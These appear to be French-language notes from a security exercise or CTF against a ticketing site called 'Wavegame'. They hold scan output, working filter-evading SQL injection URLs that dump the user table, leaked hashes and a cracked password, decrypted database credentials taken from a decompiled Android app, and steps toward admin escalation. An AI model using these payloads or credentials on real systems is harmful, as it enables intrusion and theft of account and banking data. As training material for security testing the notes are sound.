# Wavegame Game1 ## Scans jo.com => 13.37.228.81 ### nmap #### nmap -sC -sV -oA jo.nmap jo.com ``` # Nmap 7.92 scan initiated Wed Mar 9 20:32:42 2022 as: nmap -sC -sV -oA jo.nmap jo.com Nmap scan report for jo.com (13.37.228.81) Host is up (0.061s latency). Scanned at 2022-03-09 20:32:42 CET for 475s Not shown: 994 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp open ftp? 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 8b:a2:8f:17:4d:76:6c:2a:1a:bb:d2:65:d3:4a:85:ad (RSA) | 256 c4:c2:13:15:f5:df:e5:1a:49:b8:9b:19:bf:83:b1:6d (ECDSA) |_ 256 b5:c3:bf:d9:a9:6e:9c:c4:1e:5b:e7:eb:a4:c3:93:7a (ED25519) 80/tcp open http? 443/tcp open https? 554/tcp open rtsp? 1723/tcp open pptp? |_pptp-version: ERROR: Script execution failed (use -d to debug) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Mar 9 20:40:37 2022 -- 1 IP address (1 host up) scanned in 474.97 seconds ``` #### sudo nmap -p- -oA jo.allp jo.com ``` # Nmap 7.92 scan initiated Wed Mar 9 21:31:54 2022 as: nmap -p- -oA jo.allp jo.com Nmap scan report for jo.com (13.37.228.81) Host is up (0.0024s latency). Scanned at 2022-03-09 21:31:56 CET for 105s Not shown: 65528 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https 465/tcp open smtps 990/tcp open ftps 5223/tcp open hpvirtgrp 8443/tcp open https-alt Read data files from: /usr/bin/../share/nmap # Nmap done at Wed Mar 9 21:33:41 2022 -- 1 IP address (1 host up) scanned in 106.87 seconds ``` ### gobuster #### /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt ``` /login (Status: 200) [Size: 8382] /register (Status: 200) [Size: 9232] /admin (Status: 302) [Size: 48] [--> /?authorization_error=true] /static (Status: 301) [Size: 179] [--> /static/] /event (Status: 302) [Size: 26] [--> /404] /Login (Status: 200) [Size: 8382] /checkout (Status: 302) [Size: 48] [--> /?authorization_error=true] /Register (Status: 200) [Size: 9232] /dashboard (Status: 302) [Size: 48] [--> /?authorization_error=true] /ticket (Status: 302) [Size: 48] [--> /?authorization_error=true] /Admin (Status: 302) [Size: 48] [--> /?authorization_error=true] /Event (Status: 302) [Size: 26] [--> /404] /Dashboard (Status: 302) [Size: 48] [--> /?authorization_error=true] /Static (Status: 301) [Size: 179] [--> /Static/] /Checkout (Status: 302) [Size: 48] [--> /?authorization_error=true] /%C0 (Status: 400) [Size: 138] /LogIn (Status: 200) [Size: 8382] /Ticket (Status: 302) [Size: 48] [--> /?authorization_error=true] /LOGIN (Status: 200) [Size: 8382] /checkOut (Status: 302) [Size: 48] [--> /?authorization_error=true] ``` - Port 8456 site web ## Black Box ### SQL injection http://13.37.228.81:8456/event?id=6%2F2 (trouvé par Zap) http://jo.com:8456/event?id=%27 error avec MariaDB + bcp d'info sur la requete (on a le nom d'une table event) http://jo.com:8456/event?id=%27%20--%20- => `Attaque détectée ! Un rapport à l'administrateur sera fait ` Le message ci-dessus semblerait apparaître uniquement lorsqu'il y a un espace dans la requête. - Check log poisoning si acces aux logs - Error based attack - Time based attack Relou il lance son erreur admin des qu'on met un espace Il lance une erreur en general si le parametre get n'est pas le nom d'une collone dans la table => enum les collunes?? - name - date **SOLUTION**: ``` http://jo.com:8456/event?id=-1/**/union/**/select/**/0,1,2,3,4,5,6; http://jo.com:8456/event?id=-1/**/union/**/select/**/1,1,1,1,gRoUp_cOncaT(0x7c,table_name,0x7C),1,1/**/FROM/**/information_schema.tables; http://jo.com:8456/event?id=-1/**/union/**/select/**/1,1,gRoUp_cOncaT(0x7c,column_name,0x7C),1,1,1,1/**/FROM/**/information_schema.columns/**/WHERE/**/table_name=%27user_table%27; http://jo.com:8456/event?id=-1/**/union/**/select/**/1,id_user,email,password,is_admin,1,1/**/FROM/**/user_table; ``` On remplace les espaces par des `/**/`, avec un total de 7 collones, et on met l'id du debut sur -1 pour que l'union nous affiche le 2eme select. Comme quoi la nuit porte conseil ! **TODO** J'ai pas explore toute la base de donnee, seulement la table user_table donc ya ptet encore des trucs a faire avec cette injection Cred admin ``` id_user: 34 email: admin@localhost password: bab66ae7a4c0ea5037ec020707fb4afe is_admin: 1 first_name: admin last_name: admin ``` J'ai enum tous les users autres ceux crees par nous: Format `email:user_id:hash(:mdp)` Le change `mdp` est vide si j'ai pas reussi a cracker le hash ``` admin@localhost:34:bab66ae7a4c0ea5037ec020707fb4afe jean.paul@mail.com:36:031635752b66a979a3eafc425db34a0d francis.lelong@mail.com:37:d216bc5741a9ec08c3da23b934366a4d:ilovebeer2022 test@localhost:38:d02cb43ccd5736a1ba2f521788b2e21c ``` On a donc acces a n'importe quel user avec un pass faible comme francis qui aime la biere ! En gros a partir de mtn grey et black box c'est la meme pcq on peut recuperer le compte de francis en black box ## Grey Box ### Credential Account created: - First name, Last name: a,a - email: a@a.com - mdp: a `Second account` - First name, Last name: b,b - email: b - mdp: b On a un cookie JWT: - en le décryptant -> Champ: is_admin = 0 intéressant - Alex dit aussi que le champ: id_user peut être sympa à exploit (imagine on connait l'id d'un user genre id admin = 1 => on peut se connecter ??) On a une vérification de la signature du token -> On ne peut pas simplement changer le champ `is_admin=0` par `is_admin=1`. ### Ticket non proteges Dans http://jo.com:8456/my-tickets, on peut recuperer toutes les infos bancaires utilises pour l'achat, simplement en faisant `Voir le ticket`, puis `Generer votre ticket`. Le qrcode genere est un json avec toutes les infos de l'achat non encryptes dedans donc voila ... bof secure. Du coup je peux acceder aux cred bancaires de francis en generant son ticket avec l'exploit de la sql injection qui m'a permis de recover son mdp ## Android #### Emulateurs Pour les systemes `arch`: Use `yay -S genymotion` pour emuler android Pour les systemes `debian`: - `anbox` https://www.youtube.com/watch?v=Q1fYepQCjII --> je crois que c'est mort car leur android le plus recent sur build.anbox.io date de 2018 et android 7, trop vieux - `genymotion` https://www.kalilinux.in/2021/04/install-genymotion-on-kali-linux.html mais c'est mort pour moi (on peut pas dans une VM) : https://support.genymotion.com/hc/en-us/articles/360002720057-Can-Genymotion-Desktop-run-in-a-virtual-machine- #### Decompilation Decompileur apk `jadx` Reperer la fonction `doLogin` qui prend le mail et le password et qui va contacter l'api du site web pour se connecter La fonction a l'air d'utiliser un system d'objet qui conserve les infos de l'user ya ptet un truc a creuser #### oldDb Fichier oldDbConnector qui a l'air fumeux ``` DriverManager.getConnection(Constant.OLD_SQL_ENDPOINT, CryptoService.decrypt("XleVEjF8f0lNtmX/5zQewQ=="), CryptoService.decrypt("Lx+Gwfg/CcT4my1bVGq0WL/HIwafeOBO8b52j87Sos0=")); ``` J'ai trouve les clefs AES et le VI (c'est du CBC) ``` private static final String initVector = "R4nd0MInitV3ct0r"; private static final String key = "Sup3rS3cretK3y$$"; ``` Du coup la fonction que j'ai mis au dessus ca donne ca (c'est ptet le nom de la db et son mdp): ``` DriverManager.getConnection(Constant.OLD_SQL_ENDPOINT, "service_account", "j56TgpScv7b3djBx"); ``` J'ai cherché : `Constant.OLD_SQL_ENDPOINT = jdbc:mysql://13.36.175.63/wavegame` **NOUVELLE IP** : 13.36.175.63 avec les creds au dessus on doit etre en mesure de faire une requête, ou alors c'ets le mdp de la DB ? jsp j'y connais rien mais ce n'est pas un URL il me semble donc je ne sais pas comment faire la requête, dois je passer par un script java ou autre ? J'ai try `jdbc:mysql://13.36.175.63/wavegame?user=service_account?password=j56TgpScv7b3djBx` Mais si c'est pas un URL ca sert à rien et **j'ai guess** le nom des chmpas `user` et `password` donc c'est surement n'importe quoi C'est utilisé par le package DriverManager pour faire des request avec la JDBC (Java Data Base Connectivity) https://waytolearnx.com/2020/05/connexion-a-une-base-de-donnees-mysql-avec-jdbc-java.html et https://su18.org/post/jdbc-connection-url-attack/ à fouiller peut etre Utilisation de SQuirelL sql pour se connecter a la db (logiciel GUI jarrivais pas a faire marcher la version cli) J'obtiens un acces a la database wavegame, comme avec linjection sql Je peux modifier des champs comme id_admin => b est desormais admin ! Il peut faire le scan admin et aussi aller sur http://jo.com:8456/admin Si jamais vous voulez des infos a propos de squirrel pour vous connecter a la db je vous dis ce que jai fait J'ai l'impression jai une db j'ai pas le droit d'y acceder cest jdbc:mysql://13.36.175.63/USERS #### Access ADMIN SCAN Le check se fait dans `com.example.wavegame2022.ui.scan.ScanFragment:39` : `if (!AuthenticationService.getInstance(getContext()).isAdmin())` Le `isAdmin()` est défini à `com.example.wavegame2022.services.AuthenticationService:145` on veut return `true` mais on a ``` if (jwt.getClaim("is_admin") == null) return false; ``` `jwt.getClaim("is_admin")` check dans une `Map<String Claim>` à `com.auth0.android.jwt.JWT:141` Cette Map (nommée `extra`) est un attribut de `this.payload` **CONCLUSION:** Si on peut redéfinir this.payload, qui est défini à partir d'un JSON parsé à `com.auth0.android.jwt.JWT:197` pour y inclure un "is_admin" on peut être admin sur l'appli (et pouvoir au moins scanné, jsp si c'est utile mais je vais fouiller)